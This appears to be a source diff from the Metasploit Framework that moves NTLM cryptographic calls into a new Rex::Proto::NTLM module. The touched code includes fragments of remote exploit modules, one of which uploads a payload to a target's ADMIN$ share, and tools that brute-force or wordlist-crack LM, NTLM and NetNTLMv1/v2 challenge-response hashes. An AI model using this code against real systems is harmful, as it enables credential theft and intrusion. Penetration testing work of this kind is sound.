client.negotiate
|
||||
client.session_setup_ntlmv2_blob(token)
|
||||
client.session_setup_with_ntlmssp_blob(token)
|
||||
rescue => e
|
||||
if (e.to_s =~ /error code 0x00050001/)
|
||||
print_error("The target system has already been exploited")
|
||||
|
@ -180,7 +180,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Returns an ASN.1 encoded string
|
||||
def enc_asn1(str)
|
||||
Rex::Proto::SMB::Utils::asn1encode(str)
|
||||
Rex::Proto::NTLM::Utils::asn1encode(str)
|
||||
end
|
||||
|
||||
# Returns an ASN.1 encoded bit string with 0 unused bits
|
||||
|
|
|
@ -131,7 +131,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Upload the shellcode to a file
|
||||
print_status("Uploading payload...")
|
||||
simple.connect("ADMIN$")
|
||||
fd = simple.open("\\#{filename}", 'rwct')
|
||||
|
||||
fd = smb_open("\\#{filename}", 'rwct')
|
||||
|
||||
exe = ''
|
||||
opts = { :servicename => servicename }
|
||||
|
|
|
@ -20,16 +20,17 @@ def usage
|
|||
exit
|
||||
end
|
||||
|
||||
def try(word)
|
||||
buf = ::Rex::Proto::SMB::Crypt.lanman_des(word, "\x11\x22\x33\x44\x55\x66\x77\x88")
|
||||
def try(word,challenge)
|
||||
buf = ::Rex::Proto::NTLM::Crypt.lanman_des(word, challenge)
|
||||
buf.unpack("H*")[0]
|
||||
end
|
||||
|
||||
hash = pass = nil
|
||||
hash = pass = chall = nil
|
||||
|
||||
$args = Rex::Parser::Arguments.new(
|
||||
"-n" => [ true, "The encypted LM hash to crack" ],
|
||||
"-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ],
|
||||
"-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ],
|
||||
"-s" => [ true, "The server challenge (default value 1122334455667788)" ],
|
||||
"-h" => [ false, "Display this help information" ])
|
||||
|
||||
|
||||
|
@ -39,6 +40,8 @@ $args.parse(ARGV) { |opt, idx, val|
|
|||
hash = val
|
||||
when "-p"
|
||||
pass = val
|
||||
when "-s"
|
||||
chall = val
|
||||
when "-h"
|
||||
usage
|
||||
else
|
||||
|
@ -50,6 +53,18 @@ if (not (hash and pass))
|
|||
usage
|
||||
end
|
||||
|
||||
if (not chall)
|
||||
chall = ["1122334455667788"].pack("H*")
|
||||
else
|
||||
if not chall =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
else
|
||||
chall = [chall].pack("H*")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if(hash.length != 48)
|
||||
$stderr.puts "[*] LANMAN should be exactly 48 bytes of hexadecimal"
|
||||
exit
|
||||
|
@ -60,6 +75,8 @@ if(pass.length != 7)
|
|||
exit
|
||||
end
|
||||
|
||||
|
||||
|
||||
pass = pass.upcase
|
||||
hash = hash.downcase
|
||||
|
||||
|
@ -69,7 +86,7 @@ stime = Time.now.to_f
|
|||
puts "[*] Trying one character..."
|
||||
0.upto(cset.length-1) do |c1|
|
||||
test = pass + cset[c1].chr
|
||||
if(try(test) == hash)
|
||||
if(try(test, chall) == hash)
|
||||
puts "[*] Cracked: #{test}"
|
||||
exit
|
||||
end
|
||||
|
@ -80,7 +97,7 @@ puts "[*] Trying two characters (eta: #{etime * cset.length} seconds)..."
|
|||
0.upto(cset.length-1) do |c1|
|
||||
0.upto(cset.length-1) do |c2|
|
||||
test = pass + cset[c1].chr + cset[c2].chr
|
||||
if(try(test) == hash)
|
||||
if(try(test, chall) == hash)
|
||||
puts "[*] Cracked: #{test}"
|
||||
exit
|
||||
end
|
||||
|
@ -92,7 +109,7 @@ puts "[*] Trying three characters (eta: #{etime * cset.length * cset.length} sec
|
|||
0.upto(cset.length-1) do |c2|
|
||||
0.upto(cset.length-1) do |c3|
|
||||
test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr
|
||||
if(try(test) == hash)
|
||||
if(try(test, chall) == hash)
|
||||
puts "[*] Cracked: #{test}"
|
||||
exit
|
||||
end
|
||||
|
@ -107,7 +124,7 @@ puts "[*] Trying four characters (eta: #{etime * cset.length * cset.length * cse
|
|||
0.upto(cset.length-1) do |c3|
|
||||
0.upto(cset.length-1) do |c4|
|
||||
test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + cset[c4].chr
|
||||
if(try(test) == hash)
|
||||
if(try(test, chall) == hash)
|
||||
puts "[*] Cracked: #{test}"
|
||||
exit
|
||||
end
|
||||
|
|
|
@ -12,7 +12,9 @@ msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
|
|||
$:.unshift(File.join(File.dirname(msfbase), '..', 'lib'))
|
||||
|
||||
require 'rex'
|
||||
require 'net/ntlm'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
|
||||
CRYPT = Rex::Proto::NTLM::Crypt
|
||||
|
||||
BRUTE_MODE = 1
|
||||
HASH_MODE = 2
|
||||
|
@ -125,7 +127,7 @@ when "HALFLM"
|
|||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
if password =~ /^.{1,7}$/
|
||||
puts password
|
||||
calculatedhash = Net::NTLM::lm_hash(password,true).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_hash(password,true).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
|
@ -146,7 +148,7 @@ when "HALFLM"
|
|||
$stderr.puts "[*] LM password can not be bigger then 7 characters"
|
||||
exit
|
||||
end
|
||||
calculatedhash = Net::NTLM::lm_hash(pass,true).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase
|
||||
puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
|
@ -158,7 +160,7 @@ when "HALFLM"
|
|||
$stderr.puts "[*] LM HASH must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
calculatedhash = Net::NTLM::lm_hash(pass,true).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass.upcase}"
|
||||
exit
|
||||
|
@ -182,7 +184,7 @@ when "LM"
|
|||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
if password =~ /^.{1,14}$/
|
||||
puts password
|
||||
calculatedhash = Net::NTLM::lm_hash(password.upcase).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_hash(password.upcase).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
|
@ -203,7 +205,7 @@ when "LM"
|
|||
$stderr.puts "[*] LM password can not be bigger then 14 characters"
|
||||
exit
|
||||
end
|
||||
calculatedhash = Net::NTLM::lm_hash(pass.upcase).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase
|
||||
puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
|
@ -215,7 +217,7 @@ when "LM"
|
|||
$stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
calculatedhash = Net::NTLM::lm_hash(pass.upcase).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass.upcase}"
|
||||
exit
|
||||
|
@ -238,7 +240,7 @@ when "NTLM"
|
|||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
puts password
|
||||
calculatedhash = Net::NTLM::ntlm_hash(password).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlm_hash(password).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
|
@ -254,7 +256,7 @@ when "NTLM"
|
|||
exit
|
||||
end
|
||||
when HASH_MODE
|
||||
calculatedhash = Net::NTLM::ntlm_hash(pass).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase
|
||||
puts "[*] The NTLM hash for #{pass} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
|
@ -262,7 +264,7 @@ when "NTLM"
|
|||
$stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
calculatedhash = Net::NTLM::ntlm_hash(pass).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass}"
|
||||
exit
|
||||
|
@ -294,9 +296,9 @@ when "HALFNETLMv1"
|
|||
if password =~ /^.{1,7}$/
|
||||
puts password
|
||||
#Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(password,true)[0,7],
|
||||
arglm = { :lm_hash => CRYPT::lm_hash(password,true)[0,7],
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
|
@ -325,10 +327,10 @@ when "HALFNETLMv1"
|
|||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(pass,true)[0,7],
|
||||
arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7],
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
|
||||
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase
|
||||
puts "[*] The HALFNETLMv1 hash for #{pass.upcase} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
|
@ -349,10 +351,10 @@ when "HALFNETLMv1"
|
|||
exit
|
||||
end
|
||||
#Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(pass,true)[0,7],
|
||||
arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7],
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
|
||||
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass.upcase}"
|
||||
exit
|
||||
|
@ -383,9 +385,9 @@ when "NETLMv1"
|
|||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
if password =~ /^.{1,14}$/
|
||||
puts password
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(password),
|
||||
arglm = { :lm_hash => CRYPT::lm_hash(password),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
|
@ -414,10 +416,10 @@ when "NETLMv1"
|
|||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(pass),
|
||||
arglm = { :lm_hash => CRYPT::lm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
|
||||
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase
|
||||
puts "[*] The NETLMv1 hash for #{pass.upcase} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
|
@ -437,10 +439,10 @@ when "NETLMv1"
|
|||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(pass),
|
||||
arglm = { :lm_hash => CRYPT::lm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
|
||||
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass.upcase}"
|
||||
exit
|
||||
|
@ -470,9 +472,9 @@ when "NETNTLMv1"
|
|||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
puts password
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(password),
|
||||
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(password),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
|
@ -496,9 +498,9 @@ when "NETNTLMv1"
|
|||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
|
||||
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase
|
||||
puts "[*] The NETNTLMv1 hash for #{pass} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
|
@ -514,10 +516,10 @@ when "NETNTLMv1"
|
|||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
|
||||
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
|
||||
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass}"
|
||||
exit
|
||||
|
@ -556,11 +558,11 @@ when "NETNTLM2_SESSION"
|
|||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
puts password
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(password),
|
||||
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(password),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
|
||||
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
|
||||
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
|
@ -593,11 +595,11 @@ when "NETNTLM2_SESSION"
|
|||
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
|
||||
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
|
||||
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
|
||||
puts "[*] The NETNTLM2_SESSION hash for #{pass} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
|
@ -621,11 +623,11 @@ when "NETNTLM2_SESSION"
|
|||
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
|
||||
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
|
||||
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
|
||||
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass}"
|
||||
|
@ -673,10 +675,10 @@ when "NETLMv2"
|
|||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
puts password
|
||||
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,password, domain),
|
||||
arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,password, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
|
||||
if calculatedhash.slice(0,32) == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
|
@ -717,10 +719,10 @@ when "NETLMv2"
|
|||
exit
|
||||
end
|
||||
|
||||
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,pass, domain),
|
||||
arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
|
||||
|
||||
puts "[*] The NETLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}"
|
||||
exit
|
||||
|
@ -753,10 +755,10 @@ when "NETLMv2"
|
|||
$stderr.puts "[*] Domain name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,pass, domain),
|
||||
arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash.slice(0,32)
|
||||
puts "[*] Correct password provided : #{pass}"
|
||||
exit
|
||||
|
@ -804,10 +806,10 @@ when "NETNTLMv2"
|
|||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
puts password
|
||||
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, password, domain),
|
||||
argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, password, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
|
||||
|
||||
if calculatedhash.slice(0,32) == hash.upcase
|
||||
found = true
|
||||
|
@ -849,10 +851,10 @@ when "NETNTLMv2"
|
|||
exit
|
||||
end
|
||||
|
||||
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, pass, domain),
|
||||
argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
|
||||
|
||||
puts "[*] The NETNTLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}"
|
||||
exit
|
||||
|
@ -886,10 +888,10 @@ when "NETNTLMv2"
|
|||
exit
|
||||
end
|
||||
|
||||
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, pass, domain),
|
||||
argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
|
||||
calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
|
||||
|
||||
if hash.upcase == calculatedhash.slice(0,32)
|
||||
puts "[*] Correct password provided : #{pass}"
|
||||
|
|
Loading…
Reference in New Issue